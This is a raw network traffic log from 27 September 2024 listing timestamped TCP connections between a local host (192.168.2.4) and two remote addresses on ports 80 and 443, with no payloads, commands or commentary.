Sep 27, 2024 17:42:31.323282957 CEST	80	49794	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:31.323369980 CEST	49794	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:31.325284958 CEST	49794	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:31.550769091 CEST	49794	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:31.624974012 CEST	80	49794	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:31.625026941 CEST	80	49794	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:31.625081062 CEST	49794	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:31.625641108 CEST	80	49794	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:31.626753092 CEST	443	49795	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:31.626831055 CEST	49795	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:31.627707005 CEST	443	49796	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:31.627775908 CEST	49796	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:31.630497932 CEST	49796	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:31.630508900 CEST	443	49796	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:31.630759001 CEST	443	49796	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:31.631563902 CEST	49796	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:31.675410986 CEST	443	49796	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:31.844080925 CEST	80	49794	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:31.844163895 CEST	49794	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:31.887314081 CEST	49795	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:31.887343884 CEST	443	49795	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:31.887705088 CEST	443	49795	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:31.889857054 CEST	49795	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:31.931446075 CEST	443	49795	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:31.961441040 CEST	49794	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:31.961750031 CEST	49797	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:31.966963053 CEST	80	49794	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:31.967027903 CEST	49794	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:31.967281103 CEST	80	49797	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:31.967344999 CEST	49797	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:31.967492104 CEST	49797	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:31.972865105 CEST	80	49797	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:32.072149992 CEST	443	49796	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.072257996 CEST	443	49796	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.072316885 CEST	49796	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.072465897 CEST	49796	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.072480917 CEST	443	49796	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.072498083 CEST	49796	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.072501898 CEST	443	49796	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.123493910 CEST	443	49795	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.123601913 CEST	443	49795	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.123672009 CEST	49795	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.125798941 CEST	49795	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.125843048 CEST	443	49795	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.125870943 CEST	49795	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.125888109 CEST	443	49795	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.232104063 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.232207060 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.232289076 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.241986036 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.242001057 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.477060080 CEST	49801	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.477112055 CEST	443	49801	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.477201939 CEST	49801	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.477602959 CEST	49801	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.477617025 CEST	443	49801	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.714004993 CEST	80	49797	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:32.714092970 CEST	49797	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:32.715043068 CEST	49797	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:32.725683928 CEST	80	49797	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:32.788676023 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.788820982 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.790240049 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.790277004 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.790543079 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.805290937 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:32.847405910 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:32.979856968 CEST	80	49797	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:32.980088949 CEST	49797	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:33.019778013 CEST	443	49801	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.019876003 CEST	49801	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.021802902 CEST	49801	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.021811962 CEST	443	49801	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.022054911 CEST	443	49801	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.023008108 CEST	49801	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.067392111 CEST	443	49801	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.085432053 CEST	49797	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:33.085844994 CEST	49802	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:33.122191906 CEST	80	49802	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:33.122340918 CEST	49802	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:33.122531891 CEST	49802	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:33.123147011 CEST	80	49797	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:33.123246908 CEST	49797	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:33.378901005 CEST	49802	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:33.505916119 CEST	80	49797	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:33.506084919 CEST	49797	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:33.506371021 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.506438971 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.506477118 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.506525993 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.506522894 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.506550074 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.506566048 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.506597996 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.506623983 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.506629944 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.506635904 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.506665945 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.506669998 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.509749889 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.509795904 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.509809017 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.509824038 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.509975910 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.513679028 CEST	80	49802	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:33.513689995 CEST	80	49802	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:33.513940096 CEST	443	49801	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.514035940 CEST	443	49801	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.514174938 CEST	49801	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.514288902 CEST	49801	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.514308929 CEST	443	49801	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.514347076 CEST	49801	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.514353037 CEST	443	49801	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.520821095 CEST	80	49797	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:33.520953894 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.523610115 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.523644924 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.523677111 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.523706913 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.523716927 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.523737907 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.523751974 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.524207115 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.524256945 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.524269104 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.526483059 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.526515961 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.526532888 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.526552916 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.526566029 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.527453899 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.528004885 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.528052092 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.528079987 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.528090954 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.528110027 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.537770987 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.537802935 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.537822008 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.537846088 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.538023949 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.538846016 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.539720058 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.539753914 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.539781094 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.539798021 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.539948940 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.540678978 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.540751934 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.540808916 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.559914112 CEST	49800	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.559967995 CEST	443	49800	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.894162893 CEST	49803	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.894263983 CEST	443	49803	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.894366980 CEST	49803	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.894928932 CEST	49803	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.894963980 CEST	443	49803	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.914546967 CEST	49804	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.914583921 CEST	443	49804	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.914664030 CEST	49804	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.914988995 CEST	49804	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:33.914999962 CEST	443	49804	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:33.943217039 CEST	80	49802	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:33.943321943 CEST	49802	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:33.944351912 CEST	49802	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:33.955063105 CEST	80	49802	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:34.340359926 CEST	80	49802	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:34.340430021 CEST	49802	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:34.392498016 CEST	443	49803	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.392632008 CEST	49803	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.420996904 CEST	443	49804	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.421117067 CEST	49804	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.497891903 CEST	49804	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.497920990 CEST	443	49804	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.498270988 CEST	443	49804	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.499072075 CEST	49804	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.503202915 CEST	49802	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:34.505944967 CEST	49805	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:34.511040926 CEST	80	49802	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:34.511090040 CEST	49802	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:34.512008905 CEST	49803	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.512048960 CEST	443	49803	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.512378931 CEST	443	49803	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.513068914 CEST	80	49805	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:34.513144970 CEST	49805	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:34.543443918 CEST	443	49804	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.548861027 CEST	49805	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:34.554471016 CEST	80	49805	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:34.566387892 CEST	49803	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.606240988 CEST	49803	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.651412010 CEST	443	49803	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.824911118 CEST	443	49803	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.825021029 CEST	443	49803	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.825119019 CEST	49803	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.825496912 CEST	49803	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.825544119 CEST	443	49803	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.825577974 CEST	49803	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.825597048 CEST	443	49803	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.919162989 CEST	443	49804	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.919266939 CEST	443	49804	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.919336081 CEST	49804	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.919753075 CEST	49804	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.919771910 CEST	443	49804	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:34.919822931 CEST	49804	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:34.919830084 CEST	443	49804	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:35.274259090 CEST	80	49805	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:35.274319887 CEST	49805	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:35.275623083 CEST	49805	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:35.280626059 CEST	80	49805	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:35.431230068 CEST	49806	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:35.431278944 CEST	443	49806	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:35.431730032 CEST	49806	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:35.431730032 CEST	49806	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:35.431766033 CEST	443	49806	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:35.504559994 CEST	80	49805	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:35.504622936 CEST	49805	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:35.554371119 CEST	49807	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:35.554485083 CEST	443	49807	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:35.554589987 CEST	49807	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:35.554919004 CEST	49807	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:35.554955959 CEST	443	49807	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:35.614154100 CEST	49805	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:35.614569902 CEST	49808	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:35.619846106 CEST	80	49805	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:35.619920969 CEST	49805	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:35.620018959 CEST	80	49808	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:35.620134115 CEST	49808	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:35.620328903 CEST	49808	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:35.625247002 CEST	80	49808	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:35.898221016 CEST	443	49806	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:35.898291111 CEST	49806	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:35.903183937 CEST	49806	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:35.903203964 CEST	443	49806	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:35.903525114 CEST	443	49806	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:35.904361010 CEST	49806	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:35.947412968 CEST	443	49806	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.023262024 CEST	443	49807	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.023349047 CEST	49807	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.037611961 CEST	49807	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.037638903 CEST	443	49807	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.037971973 CEST	443	49807	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.047745943 CEST	49807	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.091427088 CEST	443	49807	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.313155890 CEST	443	49806	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.313277960 CEST	443	49806	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.313333988 CEST	49806	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.320096970 CEST	49806	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.320118904 CEST	443	49806	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.320144892 CEST	49806	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.320149899 CEST	443	49806	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.327580929 CEST	80	49808	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:36.327677965 CEST	49808	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:36.345884085 CEST	49808	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:36.350657940 CEST	80	49808	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:36.448318005 CEST	443	49807	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.448457003 CEST	443	49807	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.448530912 CEST	49807	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.484786034 CEST	49807	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.484839916 CEST	443	49807	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.484864950 CEST	49807	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.484874964 CEST	443	49807	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.586858988 CEST	80	49808	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:36.586978912 CEST	49808	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:36.692055941 CEST	49808	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:36.692353010 CEST	49809	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:36.697525978 CEST	80	49809	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:36.697568893 CEST	80	49808	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:36.697590113 CEST	49809	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:36.697618961 CEST	49808	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:36.697875023 CEST	49809	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:36.702661037 CEST	80	49809	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:36.769378901 CEST	49810	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.769428968 CEST	443	49810	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:36.769633055 CEST	49810	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.769998074 CEST	49810	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:36.770014048 CEST	443	49810	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:37.263865948 CEST	443	49810	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:37.263957977 CEST	49810	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:37.270778894 CEST	49810	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:37.270787001 CEST	443	49810	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:37.271042109 CEST	443	49810	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:37.271991968 CEST	49810	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:37.319390059 CEST	443	49810	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:37.483922005 CEST	80	49809	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:37.483980894 CEST	49809	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:37.484781981 CEST	49809	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:37.489586115 CEST	80	49809	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:37.565628052 CEST	49811	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:37.565687895 CEST	443	49811	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:37.565766096 CEST	49811	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:37.566229105 CEST	49811	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:37.566241026 CEST	443	49811	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:37.690371037 CEST	443	49810	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:37.690473080 CEST	443	49810	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:37.690526009 CEST	49810	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:37.690924883 CEST	49810	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:37.690938950 CEST	443	49810	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:37.690951109 CEST	49810	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:37.690954924 CEST	443	49810	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:37.731792927 CEST	80	49809	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:37.731863976 CEST	49809	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:37.851752043 CEST	49809	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:37.852076054 CEST	49812	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:37.857084990 CEST	80	49809	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:37.857144117 CEST	49809	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:37.857359886 CEST	80	49812	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:37.857441902 CEST	49812	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:37.858397961 CEST	49812	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:37.863326073 CEST	80	49812	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:38.047398090 CEST	443	49811	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.047465086 CEST	49811	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.072998047 CEST	49813	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.073137045 CEST	443	49813	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.073210001 CEST	49813	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.073874950 CEST	49813	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.073913097 CEST	443	49813	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.076848984 CEST	49811	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.076867104 CEST	443	49811	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.077145100 CEST	443	49811	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.102591991 CEST	49811	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.143413067 CEST	443	49811	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.336215019 CEST	443	49811	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.336332083 CEST	443	49811	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.336380005 CEST	49811	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.336798906 CEST	49811	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.336812973 CEST	443	49811	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.336841106 CEST	49811	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.336847067 CEST	443	49811	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.553558111 CEST	80	49812	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:38.554843903 CEST	49812	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:38.570581913 CEST	49812	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:38.571217060 CEST	443	49813	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.571304083 CEST	49813	443	192.168.2.4	172.67.187.100
